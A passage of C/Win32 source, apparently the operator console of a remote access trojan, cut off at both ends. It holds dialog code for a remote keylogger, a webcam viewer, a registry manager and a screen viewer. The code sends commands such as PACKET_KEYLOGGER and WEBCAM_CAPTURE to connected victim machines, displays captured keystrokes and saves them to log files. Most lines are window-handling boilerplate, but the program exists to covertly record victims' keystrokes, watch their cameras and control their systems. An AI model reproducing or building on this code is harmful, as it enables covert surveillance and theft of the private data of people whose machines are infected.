  4482.              MoveWindow(GetDlgItem(hwnd, IDC_SERVICES),0,0,rc.right, rc.bottom, TRUE);
  4483.             break;
  4484.  
  4485.             case WMSZ_BOTTOMLEFT:
  4486.              GetClientRect(hwnd, &rc);
  4487.              MoveWindow(GetDlgItem(hwnd, IDC_SERVICES),0,0,rc.right, rc.bottom, TRUE);           
  4488.             break;
  4489.  
  4490.             case WMSZ_BOTTOMRIGHT:
  4491.              GetClientRect(hwnd, &rc);
  4492.              MoveWindow(GetDlgItem(hwnd, IDC_SERVICES),0,0,rc.right, rc.bottom, TRUE);           
  4493.             break;
  4494.  
  4495.             case WMSZ_LEFT:
  4496.              GetClientRect(hwnd, &rc);
  4497.              MoveWindow(GetDlgItem(hwnd, IDC_SERVICES),0,0,rc.right, rc.bottom, TRUE);           
  4498.             break;
  4499.  
  4500.             case WMSZ_RIGHT:
  4501.              GetClientRect(hwnd, &rc);
  4502.              MoveWindow(GetDlgItem(hwnd, IDC_SERVICES),0,0,rc.right, rc.bottom, TRUE);           
  4503.             break;
  4504.  
  4505.             case WMSZ_TOP:
  4506.              GetClientRect(hwnd, &rc);
  4507.              MoveWindow(GetDlgItem(hwnd, IDC_SERVICES),0,0,rc.right, rc.bottom, TRUE);           
  4508.             break;
  4509.             case WMSZ_TOPLEFT:
  4510.              GetClientRect(hwnd, &rc);
  4511.              MoveWindow(GetDlgItem(hwnd, IDC_SERVICES),0,0,rc.right, rc.bottom, TRUE); 
  4512.             break;
  4513.  
  4514.             case WMSZ_TOPRIGHT:
  4515.              GetClientRect(hwnd, &rc);
  4516.              MoveWindow(GetDlgItem(hwnd, IDC_SERVICES),0,0,rc.right, rc.bottom, TRUE);           
  4517.             break;
  4518.             }
  4519.             break;*/
  4520.     case WM_COMMAND:
  4521.         Select=LOWORD(wParam);
  4522.         switch(Select)
  4523.         {
  4524.         case IDCANCEL:
  4525.                     GetWindowText(GetDlgItem(hwnd, IDC_ID), WindowOut, 10);
  4526.                     Head.ID = atoi(WindowOut);
  4527.                     RegHwnd[Head.ID] = NULL;
  4528.                     EndDialog(hwnd,Select);
  4529.                     break;
  4530.         }
  4531.  
  4532. ////////////////////////////////////////////////////////////////////////////////
  4533.     default:
  4534.         return FALSE;
  4535.     }
  4536. return TRUE;
  4537. }
  4538. DWORD WINAPI RegisteryWindow(LPVOID lpParam)
  4539. {
  4540.     FileStruct * FILEWINDOW = (FileStruct *)lpParam;
  4541.     char WindowText [50] = "";
  4542.     char COMPUTER [50] = "";
  4543.     int LID = GID;
  4544.     char IDA [10] = "";
  4545.     HICON hIcon;
  4546.  
  4547.     strcpy(COMPUTER, WINDOWIP);
  4548.  
  4549.     RegHwnd[LID]=CreateDialog(RegInst,(LPCTSTR)IDD_REGISTERYMAN,NULL,(DLGPROC)RegProc);
  4550.     ShowWindow(RegHwnd[LID],SW_SHOW);
  4551.     ShowWindow(GetDlgItem(RegHwnd[LID], IDC_ID),SW_HIDE);
  4552.     InitCommonControls();
  4553.  
  4554.     ZeroMemory(&WindowText[0],10);
  4555.     sprintf(&WindowText[0],"Registry Manager | %s", COMPUTER);
  4556.     sprintf(IDA, "%d", LID);
  4557.    
  4558.     SetWindowText(RegHwnd[LID], WindowText);
  4559.     SetWindowText(GetDlgItem(RegHwnd[LID], IDC_ID), IDA);
  4560.  
  4561.     MSG msg;
  4562.  
  4563.     hIcon=(HICON)LoadImage(GetModuleHandle(NULL), MAKEINTRESOURCE(IDI_ARYAN), IMAGE_ICON, 16, 16, 0);
  4564.     SendMessage(RegHwnd[LID], WM_SETICON,ICON_SMALL,(LPARAM)hIcon);
  4565.     DeleteObject(hIcon);
  4566.     hIcon=(HICON)LoadImage(GetModuleHandle(NULL), MAKEINTRESOURCE(IDI_ARYAN), IMAGE_ICON, 32, 32, 0);
  4567.     SendMessage(RegHwnd[LID], WM_SETICON,ICON_BIG,(LPARAM)hIcon);
  4568.     while(GetMessage(&msg,RegHwnd[LID],0,0)==TRUE)
  4569.     {
  4570.         TranslateMessage(&msg);
  4571.         DispatchMessage(&msg);
  4572.     }
  4573. return 0;
  4574. }
  4575. /////////////////////////////////////////////////////////////////////////////////////////////////
  4576. //Keylogger
  4577.  
  4578.  
  4579. LRESULT CALLBACK KeyLogProc(HWND hwnd,UINT message,WPARAM wParam,LPARAM lParam)
  4580. {
  4581.     int Select;
  4582. //  HWND hEdit;
  4583. //  int  ndx;
  4584.     char WindowOut  [10] = "";
  4585.     char WindowOutY [10] = "";                                     //  Current text color
  4586. //    HANDLE hRichEdit;
  4587. //  POINT  pt;   // location of mouse click
  4588. //    HMENU hmenu;
  4589. //  HMENU hmenuTrackPopup;
  4590.     LPSTR pszFileText;
  4591.    CHOOSECOLOR cc;
  4592.    CHARFORMAT cf;
  4593.    DWORD dwColors[ 16 ];
  4594.    HANDLE FileHandle;
  4595.    DWORD numb_bytes;
  4596.    DWORD dwFileSize;
  4597.    RECT rc;
  4598.    TCITEM tie;
  4599.  
  4600.    char FileNameA[30] = "Logs";
  4601.    int I = 0;
  4602.     switch(message)
  4603.     {
  4604. ////////////////////////////////////////////////////////////////////////////////
  4605.     case WM_INITDIALOG:
  4606.     SendDlgItemMessage( hwnd, IDC_KEYS, EM_SETBKGNDCOLOR, FALSE, dwBackColor );
  4607.  
  4608.  
  4609.     CreateWindowEx(0, STATUSCLASSNAME, NULL,WS_CHILD | WS_VISIBLE | SBARS_SIZEGRIP, 0, 0, 0, 0,hwnd, (HMENU)IDC_TASK_STATUS , GetModuleHandle(NULL), NULL);
  4610.     SendMessage(GetDlgItem(hwnd,IDC_TASK_STATUS), SB_SETTEXT, 0, (LPARAM)"Downloading logs...");   
  4611.     GetClientRect(hwnd, &rc);
  4612.  
  4613.     tie.mask = TCIF_TEXT | TCIF_IMAGE;  
  4614.     tie.pszText = "Online logs";
  4615.    
  4616.     TabCtrl_InsertItem(GetDlgItem(hwnd, IDC_TAB2), 0, &tie);
  4617.  
  4618.     tie.mask = TCIF_TEXT | TCIF_IMAGE;  
  4619.     tie.pszText = "OffLine log's";
  4620.    
  4621.     TabCtrl_InsertItem(GetDlgItem(hwnd, IDC_TAB2), 1, &tie);
  4622.  
  4623.          ShowWindow(GetDlgItem( hwnd, IDC_KEYS2 ),SW_HIDE);
  4624.          MoveWindow(GetDlgItem(hwnd, IDC_KEYS),0,0,rc.right, rc.bottom - 40, TRUE);
  4625.          MoveWindow(GetDlgItem(hwnd, IDC_KEYS2),0,0,rc.right, rc.bottom - 40, TRUE);
  4626.          MoveWindow(GetDlgItem(hwnd, IDC_PROGRESS),0,rc.bottom - 15,rc.right, 10, TRUE);
  4627.          MoveWindow(GetDlgItem(hwnd, IDC_TAB2),0,0,rc.right, rc.bottom - 20, TRUE);
  4628.          if(GetDlgItem( hwnd, IDC_KEYS ))                         //  Sanity Check
  4629.          {
  4630.             memset( &cf, 0, sizeof(CHARFORMAT) );      //  Initialize structure
  4631.  
  4632.             cf.cbSize = sizeof(CHARFORMAT);             //  Initialize RichEdit
  4633.             cf.dwMask = CFM_COLOR | CFM_FACE | CFM_SIZE;  //  control structure
  4634.             cf.crTextColor = dwTextColor;
  4635.             cf.yHeight = 32;
  4636.             strcpy( cf.szFaceName, "MS Sans Serif" );
  4637.                               //  Set character formatting and background color
  4638.             SendDlgItemMessage( hwnd, IDC_KEYS, EM_SETCHARFORMAT, 4, (LPARAM)&cf );
  4639.             //SendDlgItemMessage( hwnd, IDC_KEYS, EM_SETBKGNDCOLOR, FALSE, 0 );
  4640.          }
  4641.        
  4642.          return( TRUE );
  4643. /////////////////////////////////////////////////////////////
  4644.     break;
  4645.     case WM_NOTIFY:
  4646.     switch(wParam)
  4647.     {
  4648.  
  4649.     case IDC_TAB2:
  4650.             switch (((LPNMHDR)lParam)->code)
  4651.             {
  4652.             case TCN_SELCHANGE:
  4653.                     int iPage = TabCtrl_GetCurSel(GetDlgItem(hwnd, IDC_TAB2));
  4654.                     if(iPage != 0)
  4655.                     {
  4656.                      GetClientRect(hwnd, &rc);
  4657.                      ShowWindow(GetDlgItem( hwnd, IDC_KEYS ),SW_HIDE);
  4658.                      ShowWindow(GetDlgItem( hwnd, IDC_KEYS2 ),SW_SHOW);
  4659.                      MoveWindow(GetDlgItem(hwnd, IDC_KEYS2),0,0,rc.right, rc.bottom - 40, TRUE);
  4660.                     }
  4661.                     else
  4662.                     {
  4663.                      GetClientRect(hwnd, &rc);
  4664.                      ShowWindow(GetDlgItem( hwnd, IDC_KEYS2 ),SW_HIDE);
  4665.                      ShowWindow(GetDlgItem( hwnd, IDC_KEYS ),SW_SHOW);
  4666.                      MoveWindow(GetDlgItem(hwnd, IDC_KEYS),0,0,rc.right, rc.bottom - 40, TRUE);
  4667.                     }
  4668.                
  4669.                 break;
  4670.             }
  4671.         break;
  4672.     }
  4673.     break;
  4674.     case WM_SIZING:
  4675.             switch(wParam)
  4676.             {
  4677.             case WMSZ_BOTTOM:
  4678.              GetClientRect(hwnd, &rc);
  4679.              MoveWindow(GetDlgItem(hwnd, IDC_KEYS),0,0,rc.right, rc.bottom - 40, TRUE);
  4680.              MoveWindow(GetDlgItem(hwnd, IDC_KEYS2),0,0,rc.right, rc.bottom - 40, TRUE);
  4681.              MoveWindow(GetDlgItem(hwnd, IDC_TASK_STATUS),0,rc.bottom - 10,rc.right, 10, TRUE);
  4682.              MoveWindow(GetDlgItem(hwnd, IDC_TAB2),0,0,rc.right, rc.bottom - 20, TRUE);
  4683.              //MoveWindow(hStatus,0,rc.bottom - 20,rc.right, 20, TRUE);
  4684.             break;
  4685.             case WMSZ_BOTTOMLEFT:
  4686.              GetClientRect(hwnd, &rc);
  4687.              MoveWindow(GetDlgItem(hwnd, IDC_KEYS),0,0,rc.right, rc.bottom - 40, TRUE);
  4688.              MoveWindow(GetDlgItem(hwnd, IDC_KEYS2),0,0,rc.right, rc.bottom - 40, TRUE);
  4689.              MoveWindow(GetDlgItem(hwnd, IDC_TASK_STATUS),0,rc.bottom - 10,rc.right, 10, TRUE);
  4690.              MoveWindow(GetDlgItem(hwnd, IDC_TAB2),0,0,rc.right, rc.bottom - 20, TRUE);
  4691.              //MoveWindow(hStatus,0,rc.bottom - 20,rc.right, 20, TRUE);
  4692.             break;
  4693.             case WMSZ_BOTTOMRIGHT:
  4694.              GetClientRect(hwnd, &rc);
  4695.              MoveWindow(GetDlgItem(hwnd, IDC_KEYS),0,0,rc.right, rc.bottom - 40, TRUE);
  4696.              MoveWindow(GetDlgItem(hwnd, IDC_KEYS2),0,0,rc.right, rc.bottom - 40, TRUE);
  4697.              MoveWindow(GetDlgItem(hwnd, IDC_TASK_STATUS),0,rc.bottom - 10,rc.right, 10, TRUE);
  4698.              MoveWindow(GetDlgItem(hwnd, IDC_TAB2),0,0,rc.right, rc.bottom - 20, TRUE);
  4699.  
  4700.              //MoveWindow(hStatus,0,rc.bottom - 20,rc.right, 20, TRUE);
  4701.             break;
  4702.             case WMSZ_LEFT:
  4703.              GetClientRect(hwnd, &rc);
  4704.              MoveWindow(GetDlgItem(hwnd, IDC_KEYS),0,0,rc.right, rc.bottom - 40, TRUE);
  4705.              MoveWindow(GetDlgItem(hwnd, IDC_KEYS2),0,0,rc.right, rc.bottom - 40, TRUE);
  4706.              MoveWindow(GetDlgItem(hwnd, IDC_TASK_STATUS),0,rc.bottom - 10,rc.right, 10, TRUE);
  4707.              MoveWindow(GetDlgItem(hwnd, IDC_TAB2),0,0,rc.right, rc.bottom - 20, TRUE);
  4708.  
  4709.              //MoveWindow(hStatus,0,rc.bottom - 20,rc.right, 20, TRUE);
  4710.             break;
  4711.             case WMSZ_RIGHT:
  4712.              GetClientRect(hwnd, &rc);
  4713.              MoveWindow(GetDlgItem(hwnd, IDC_KEYS),0,0,rc.right, rc.bottom - 40, TRUE);
  4714.              MoveWindow(GetDlgItem(hwnd, IDC_KEYS2),0,0,rc.right, rc.bottom - 40, TRUE);
  4715.              MoveWindow(GetDlgItem(hwnd, IDC_TASK_STATUS),0,rc.bottom - 10,rc.right, 10, TRUE);
  4716.              MoveWindow(GetDlgItem(hwnd, IDC_TAB2),0,0,rc.right, rc.bottom - 20, TRUE);
  4717.  
  4718.              //MoveWindow(hStatus,0,rc.bottom - 20,rc.right, 20, TRUE);
  4719.             break;
  4720.             case WMSZ_TOP:
  4721.              GetClientRect(hwnd, &rc);
  4722.              MoveWindow(GetDlgItem(hwnd, IDC_KEYS),0,0,rc.right, rc.bottom - 40, TRUE);
  4723.              MoveWindow(GetDlgItem(hwnd, IDC_KEYS2),0,0,rc.right, rc.bottom - 40, TRUE);
  4724.              MoveWindow(GetDlgItem(hwnd, IDC_TASK_STATUS),0,rc.bottom - 10,rc.right, 10, TRUE);
  4725.              MoveWindow(GetDlgItem(hwnd, IDC_TAB2),0,0,rc.right, rc.bottom - 20, TRUE);
  4726.              //MoveWindow(hStatus,0,rc.bottom - 20,rc.right, 20, TRUE);
  4727.             break;
  4728.             case WMSZ_TOPLEFT:
  4729.              GetClientRect(hwnd, &rc);
  4730.              MoveWindow(GetDlgItem(hwnd, IDC_KEYS),0,0,rc.right, rc.bottom - 40, TRUE);
  4731.              MoveWindow(GetDlgItem(hwnd, IDC_KEYS2),0,0,rc.right, rc.bottom - 40, TRUE);
  4732.              MoveWindow(GetDlgItem(hwnd, IDC_TASK_STATUS),0,rc.bottom - 10,rc.right, 10, TRUE);
  4733.              MoveWindow(GetDlgItem(hwnd, IDC_TAB2),0,0,rc.right, rc.bottom - 20, TRUE);
  4734.  
  4735.             // MoveWindow(hStatus,0,rc.bottom - 20,rc.right, 20, TRUE);
  4736.             break;
  4737.             case WMSZ_TOPRIGHT:
  4738.              GetClientRect(hwnd, &rc);
  4739.              MoveWindow(GetDlgItem(hwnd, IDC_KEYS),0,0,rc.right, rc.bottom - 40, TRUE);
  4740.              MoveWindow(GetDlgItem(hwnd, IDC_KEYS2),0,0,rc.right, rc.bottom - 40, TRUE);
  4741.              MoveWindow(GetDlgItem(hwnd, IDC_TASK_STATUS),0,rc.bottom - 10,rc.right, 10, TRUE);
  4742.              MoveWindow(GetDlgItem(hwnd, IDC_TAB2),0,0,rc.right, rc.bottom - 20, TRUE);
  4743.  
  4744.              //MoveWindow(hStatus,0,rc.bottom - 20,rc.right, 20, TRUE);
  4745.             break;
  4746.             }
  4747.             break;
  4748.     case WM_COMMAND:
  4749.         Select=LOWORD(wParam);
  4750.         switch(Select)
  4751.         {
  4752.         case  IDC_TEXTNORMAL:
  4753.  
  4754.         memset( &cc, 0, sizeof(CHOOSECOLOR) );
  4755.         cc.lStructSize = sizeof(CHOOSECOLOR);
  4756.         cc.hwndOwner = hwnd;
  4757.         cc.lpCustColors = dwColors;
  4758.         cc.Flags = CC_RGBINIT;
  4759.         cc.rgbResult = dwTextColor;
  4760.  
  4761.         if( ! ChooseColor( &cc ) )
  4762.         return( FALSE );
  4763.  
  4764.         dwTextColor = cc.rgbResult;        
  4765.          break;
  4766.  
  4767.         case  IDC_TIME:
  4768.  
  4769.         memset( &cc, 0, sizeof(CHOOSECOLOR) );
  4770.         cc.lStructSize = sizeof(CHOOSECOLOR);
  4771.         cc.hwndOwner = hwnd;
  4772.         cc.lpCustColors = dwColors;
  4773.         cc.Flags = CC_RGBINIT;
  4774.         cc.rgbResult = dwTimeColor;
  4775.  
  4776.         if( ! ChooseColor( &cc ) )
  4777.         return( FALSE );
  4778.  
  4779.         dwTimeColor = cc.rgbResult;
  4780.          
  4781.          break;
  4782.         case  IDC_WINDOWTEXT:
  4783.  
  4784.         memset( &cc, 0, sizeof(CHOOSECOLOR) );
  4785.         cc.lStructSize = sizeof(CHOOSECOLOR);
  4786.         cc.hwndOwner = hwnd;
  4787.         cc.lpCustColors = dwColors;
  4788.         cc.Flags = CC_RGBINIT;
  4789.         cc.rgbResult = dwTitleColor;
  4790.  
  4791.         if( ! ChooseColor( &cc ) )
  4792.         return( FALSE );
  4793.  
  4794.         dwTitleColor = cc.rgbResult;
  4795.  
  4796.          memset( &cf, 0, sizeof(CHARFORMAT) );
  4797.          cf.cbSize = sizeof(CHARFORMAT);
  4798.          cf.dwMask = CFM_COLOR;
  4799.          cf.crTextColor = dwTextColor;
  4800.          
  4801.          break;
  4802.         case  IDC_BACKGROUND:
  4803.  
  4804.         memset( &cc, 0, sizeof(CHOOSECOLOR) );
  4805.         cc.lStructSize = sizeof(CHOOSECOLOR);
  4806.         cc.hwndOwner = hwnd;
  4807.         cc.lpCustColors = dwColors;
  4808.         cc.Flags = CC_RGBINIT;
  4809.         cc.rgbResult = dwBackColor;
  4810.  
  4811.         if( ! ChooseColor( &cc ) )
  4812.         return( FALSE );
  4813.  
  4814.          dwBackColor = cc.rgbResult;
  4815.  
  4816.          SendDlgItemMessage( hwnd, IDC_KEYS, EM_SETBKGNDCOLOR, FALSE, dwBackColor );
  4817.          break;
  4818.  
  4819.         case IDCANCEL:
  4820.             if(MessageBox(NULL, "Would you like to save Logs?", "Save", MB_YESNO | MB_ICONQUESTION) == IDYES)
  4821.             {
  4822.             GetWindowText(hwnd, WindowOut, 10);
  4823.             WindowOutY[0] = WindowOut[0];
  4824.             Head.ID = atoi(WindowOutY);
  4825.             dwFileSize = GetWindowTextLength (GetDlgItem(hwnd, IDC_KEYS));
  4826.             pszFileText = (char *)GlobalAlloc(GPTR, dwFileSize + 1);
  4827.             GetWindowText(GetDlgItem(hwnd, IDC_KEYS), pszFileText, dwFileSize);
  4828.             GetTime();
  4829.             strcat(FileNameA, WindowOutY);
  4830.             strcat(FileNameA, ".txt");
  4831.            
  4832.             FileHandle = CreateFile (FileNameA, FILE_APPEND_DATA, FILE_SHARE_READ, NULL, OPEN_ALWAYS, FILE_ATTRIBUTE_NORMAL, 0);
  4833.             WriteFile(FileHandle, pszFileText, strlen(pszFileText), &numb_bytes, NULL);
  4834.  
  4835.                
  4836.                     Head.PacketType = PACKET_KEYLOGGER_OFF;
  4837.                     SentKb+=send(Client[Head.ID],(char*)&Head,HeadSize,0);
  4838.                     EndDialog(hwnd,Select);
  4839.             }
  4840.                    
  4841.                     GetWindowText(GetDlgItem(hwnd, IDC_ID), WindowOut, 10);
  4842.                     Head.ID = atoi(WindowOut);
  4843.                     Head.PacketType = PACKET_KEYLOGGER_OFF;
  4844.                     SentKb+=send(Client[Head.ID],(char*)&Head,HeadSize,0);
  4845.                     KeyHwnd[Head.ID] = NULL;
  4846.                     EndDialog(hwnd,Select);
  4847.                     break;
  4848.         }
  4849.  
  4850. ////////////////////////////////////////////////////////////////////////////////
  4851.     default:
  4852.         return FALSE;
  4853.     }
  4854. return TRUE;
  4855. }
  4856. HINSTANCE KeyLogInst;
  4857. DWORD WINAPI KeyLogWindow(LPVOID lpParam)
  4858. {
  4859.     FileStruct * FILEWINDOW = (FileStruct *)lpParam;
  4860.     char WindowText [50] = "";
  4861.     char COMPUTER [50] = "";
  4862.     int ID = GID;
  4863.     char IDA [10] = "";
  4864.     HICON hIcon;
  4865.  
  4866.     strcpy(COMPUTER, WINDOWIP);
  4867.  
  4868.     KeyHwnd[ID]=CreateDialog(KeyLogInst,(LPCTSTR)IDD_KEYLOG,NULL,(DLGPROC)KeyLogProc);
  4869.     ShowWindow(KeyHwnd[ID],SW_SHOW);
  4870.     ShowWindow(GetDlgItem(KeyHwnd[ID], IDC_ID),SW_HIDE);
  4871.     InitCommonControls();
  4872.  
  4873.     ZeroMemory(&WindowText[0],10);
  4874.     sprintf(&WindowText[0],"Keylogger | %s", COMPUTER);
  4875.     sprintf(IDA, "%d", ID);
  4876.    
  4877.     SetWindowText(KeyHwnd[ID], WindowText);
  4878.     SetWindowText(GetDlgItem(KeyHwnd[ID], IDC_ID), IDA);
  4879.     Head.PacketType = PACKET_KEYLOGGER;
  4880.     SentKb+=send(Client[ID],(char*)&Head,HeadSize,0);
  4881.  
  4882.     hIcon=(HICON)LoadImage(GetModuleHandle(NULL), MAKEINTRESOURCE(IDI_ARYAN), IMAGE_ICON, 16, 16, 0);
  4883.     SendMessage(KeyHwnd[ID], WM_SETICON,ICON_SMALL,(LPARAM)hIcon);
  4884.     DeleteObject(hIcon);
  4885.     hIcon=(HICON)LoadImage(GetModuleHandle(NULL), MAKEINTRESOURCE(IDI_ARYAN), IMAGE_ICON, 32, 32, 0);
  4886.     SendMessage(KeyHwnd[ID], WM_SETICON,ICON_BIG,(LPARAM)hIcon);
  4887.  
  4888.     MSG msg;
  4889.     while(GetMessage(&msg,KeyHwnd[ID],0,0)==TRUE)
  4890.     {
  4891.         TranslateMessage(&msg);
  4892.         DispatchMessage(&msg);
  4893.     }
  4894.  
  4895. return 0;
  4896. }
  4897. /////////////////////////////////////////////////////////////////////////////////////////////////
  4898. //WebCam
  4899. LRESULT CALLBACK CamProc(HWND hwnd,UINT message,WPARAM wParam,LPARAM lParam)
  4900. {
  4901.     int Select;
  4902.     char WindowOut  [10] = "";
  4903.     char WindowOutY [10] = "";
  4904.     char Title [50] = "";
  4905.     int FG = 0;
  4906.     RECT rc;    // client area    
  4907.     HBITMAP Final;
  4908.     HDC hdcBackground;
  4909.     INT ndcBackground;
  4910.     HDC hdc = 0;
  4911.     HDC hdcScreen;
  4912.    
  4913.     PAINTSTRUCT ps;
  4914.     HBITMAP hbmMem;
  4915.     INT ndcMem;
  4916.     HDC hdcMem;
  4917.  
  4918.  
  4919.     switch(message)
  4920.     {
  4921. ////////////////////////////////////////////////////////////////////////////////
  4922.     case WM_INITDIALOG:
  4923.              SendMessage(GetDlgItem(hwnd,IDC_PROGRESS1), PBM_SETPOS , (WPARAM)0, 0);
  4924.              GetClientRect(hwnd, &rc);
  4925.              MoveWindow(GetDlgItem(hwnd, IDC_PROGRESS1),0,rc.bottom - 10,rc.right, 10, TRUE);
  4926.              MoveWindow(hwnd,0,0,300, 290, TRUE);
  4927.            
  4928.     case WM_PAINT:
  4929.             {
  4930.         GetWindowText(GetDlgItem(hwnd, IDC_ID), WindowOut, 10);
  4931.         Head.ID = atoi(WindowOut);
  4932.         Final =  WebA[Head.ID];
  4933.         GetClientRect(hwnd, (LPRECT) &rc);
  4934.         if(Final == NULL) return -1;
  4935.         hdcScreen = GetDC(HWND_DESKTOP);
  4936.         hdcBackground = CreateCompatibleDC(hdcScreen);
  4937.         ndcBackground = SaveDC(hdcBackground);
  4938.         SelectObject(hdcBackground, Final);
  4939.         ReleaseDC(HWND_DESKTOP, hdcScreen);
  4940.             if(BeginPaint(hwnd, &ps))
  4941.             {
  4942.                     // Create double buffer
  4943.                     hdcMem = CreateCompatibleDC(ps.hdc);
  4944.                     ndcMem = SaveDC(hdcMem);
  4945.                     hbmMem = CreateCompatibleBitmap(ps.hdc, rc.right, rc.bottom - 10);
  4946.                     SelectObject(hdcMem, hbmMem);
  4947.                
  4948.                     // Copy background bitmap into double buffer
  4949.                     if(BitBlt(hdcMem, 0, 0, rc.right, rc.bottom - 10, hdcBackground, 0, 0, SRCCOPY) == NULL)
  4950.                     {
  4951.                     //MessageBox(NULL, "failed", "FAILED", MB_OK);
  4952.                     }
  4953.                     //StretchBlt(ps.hdc, 0, 0, rc.right, rc.bottom - 10, hdcMem,  0, 0,  ID3, ID4, SRCCOPY);
  4954.                     //Copy double buffer to screen
  4955.                     if(BitBlt(ps.hdc, 0, 0, rc.right, rc.bottom - 10, hdcMem, 0, 0, SRCCOPY) == NULL)
  4956.                     {
  4957.                     //  MessageBox(NULL, "failed Screen", "FAILED", MB_OK);
  4958.                      }
  4959.  
  4960.                     // Clean up
  4961.                     RestoreDC(hdcMem, ndcMem);
  4962.                     DeleteObject(hbmMem);
  4963.                     DeleteObject(Final);
  4964.                     DeleteDC(hdcMem);
  4965.                     DeleteDC(hdcScreen);
  4966.                     DeleteDC(hdc);
  4967.                     EndPaint(hwnd, &ps);
  4968.             }
  4969.             break;
  4970.             }
  4971.         case WM_SIZING:
  4972.             switch(wParam)
  4973.             {
  4974.             case WMSZ_BOTTOM:
  4975.              GetClientRect(hwnd, &rc);
  4976.              MoveWindow(GetDlgItem(hwnd, IDC_PROGRESS1),0,rc.bottom - 10,rc.right, 10, TRUE);
  4977.             break;
  4978.             case WMSZ_BOTTOMLEFT:
  4979.             GetClientRect(hwnd, &rc);
  4980.              MoveWindow(GetDlgItem(hwnd, IDC_PROGRESS1),0,rc.bottom - 10,rc.right, 10, TRUE);
  4981.             break;
  4982.             case WMSZ_BOTTOMRIGHT:
  4983.              GetClientRect(hwnd, &rc);
  4984.              MoveWindow(GetDlgItem(hwnd, IDC_PROGRESS1),0,rc.bottom - 10,rc.right, 10, TRUE);
  4985.             break;
  4986.             case WMSZ_LEFT:
  4987.              GetClientRect(hwnd, &rc);
  4988.              MoveWindow(GetDlgItem(hwnd, IDC_PROGRESS1),0,rc.bottom - 10,rc.right, 10, TRUE);
  4989.             break;
  4990.             case WMSZ_RIGHT:
  4991.              GetClientRect(hwnd, &rc);
  4992.              MoveWindow(GetDlgItem(hwnd, IDC_PROGRESS1),0,rc.bottom - 10,rc.right, 10, TRUE);
  4993.             break;
  4994.             case WMSZ_TOP:
  4995.              GetClientRect(hwnd, &rc);
  4996.              MoveWindow(GetDlgItem(hwnd, IDC_PROGRESS1),0,rc.bottom - 10,rc.right, 10, TRUE);
  4997.             break;
  4998.             case WMSZ_TOPLEFT:
  4999.              GetClientRect(hwnd, &rc);
  5000.              MoveWindow(GetDlgItem(hwnd, IDC_PROGRESS1),0,rc.bottom - 10,rc.right, 10, TRUE);
  5001.             break;
  5002.             case WMSZ_TOPRIGHT:
  5003.              GetClientRect(hwnd, &rc);
  5004.              MoveWindow(GetDlgItem(hwnd, IDC_PROGRESS1),0,rc.bottom - 10,rc.right, 10, TRUE);
  5005.             break;
  5006.             }
  5007.             break;
  5008.            
  5009.     case WM_COMMAND:
  5010.         Select=LOWORD(wParam);
  5011.         switch(Select)
  5012.         {
  5013.         case IDCANCEL:
  5014.                     GetWindowText(GetDlgItem(hwnd, IDC_ID), WindowOut, 10);
  5015.                     Head.ID = atoi(WindowOut);
  5016.                     WebCam[Head.ID] = NULL;
  5017.                     EndDialog(hwnd,0);
  5018.                             EndDialog(WebCam[atoi(WindowOut)], 0);
  5019.                     break;
  5020.         }
  5021.  
  5022. ////////////////////////////////////////////////////////////////////////////////
  5023.     default:
  5024.         return FALSE;
  5025.     }
  5026. return TRUE;
  5027. }
  5028. DWORD WINAPI CamWindow(LPVOID lpParam)
  5029. {
  5030.     FileStruct * FILEWINDOW = (FileStruct *)lpParam;
  5031.     char WindowText [50] = "";
  5032.     char COMPUTER [50] = "";
  5033.     int LID = GID;
  5034. //  RECT rc;
  5035.  
  5036.     strcpy(COMPUTER, WINDOWIP);
  5037.    
  5038.     HICON hIcon;
  5039.  
  5040.     WebCam[LID]=CreateDialog(CamInst,(LPCTSTR)IDD_WEBCAM,NULL,(DLGPROC)CamProc);
  5041.     ShowWindow(WebCam[LID],SW_SHOW);
  5042.     ShowWindow(GetDlgItem(WebCam[LID], IDC_ID),SW_HIDE);
  5043.     InitCommonControls();
  5044.  
  5045.     ZeroMemory(&WindowText[0],10);
  5046.     sprintf(&WindowText[0],"WebCam View | %s", COMPUTER);
  5047.     sprintf(ID, "%d", LID);
  5048.    
  5049.     SetWindowText(WebCam[LID], WindowText);
  5050.     SetWindowText(GetDlgItem(WebCam[LID], IDC_ID), ID);
  5051.        
  5052.     Head.PacketType = WEBCAM_CAPTURE;
  5053.     SentKb+=send(Client[LID],(char*)&Head,HeadSize,0);
  5054.  
  5055.     hIcon=(HICON)LoadImage(GetModuleHandle(NULL), MAKEINTRESOURCE(IDI_ARYAN), IMAGE_ICON, 16, 16, 0);
  5056.     SendMessage(WebCam[LID], WM_SETICON,ICON_SMALL,(LPARAM)hIcon);
  5057.     DeleteObject(hIcon);
  5058.     hIcon=(HICON)LoadImage(GetModuleHandle(NULL), MAKEINTRESOURCE(IDI_ARYAN), IMAGE_ICON, 32, 32, 0);
  5059.     SendMessage(WebCam[LID], WM_SETICON,ICON_BIG,(LPARAM)hIcon);
  5060.  
  5061.     MSG msg;
  5062.     while(GetMessage(&msg,WebCam[LID],0,0)==TRUE)
  5063.     {
  5064.         TranslateMessage(&msg);
  5065.         DispatchMessage(&msg);
  5066.     }
  5067.  
  5068. return 0;
  5069. }
  5070. /////////////////////////////////////////////////////////////////////////////////////////////////
  5071. //Screen Window
  5072. LRESULT CALLBACK ScreenProc(HWND hwnd,UINT message,WPARAM wParam,LPARAM lParam)
  5073. {
  5074.     int Select;
  5075.     char WindowOut  [10] = "";
  5076.     char WindowOutY [10] = "";
  5077.     char Title [50] = "";
  5078.     int FG = 0;
  5079.     RECT rc;    // client area    
  5080.     HBITMAP Final;
  5081.     HDC hdcBackground;
  5082.     INT ndcBackground;
  5083.     HDC hdc = 0;
  5084.     HDC hdcScreen;
  5085.    
  5086.     PAINTSTRUCT ps;
  5087.     HBITMAP hbmMem;
  5088.     INT ndcMem;
  5089.     HDC hdcMem;
  5090.  
  5091.  
  5092.     switch(message)
  5093.     {
  5094. ////////////////////////////////////////////////////////////////////////////////
  5095.     case WM_INITDIALOG:
  5096. SendMessage(GetDlgItem(hwnd, IDC_SLIDER1), TBM_SETRANGEMIN,TRUE, 2);
  5097. SendMessage(GetDlgItem(hwnd, IDC_SLIDER1), TBM_SETRANGEMAX,TRUE, 100);
  5098. SendMessage(GetDlgItem(hwnd, IDC_SLIDER1), TBM_SETPOS,TRUE, 75);
  5099. SendMessage(GetDlgItem(hwnd,IDC_PROGRESS), PBM_SETPOS , (WPARAM)0, 0);
  5100.        
  5101.              GetClientRect(hwnd, &rc);
  5102.              
  5103.              MoveWindow(GetDlgItem(hwnd, IDC_PROGRESS),0,rc.bottom - 10,rc.right - 25, 20, TRUE);
  5104.            
  5105.              
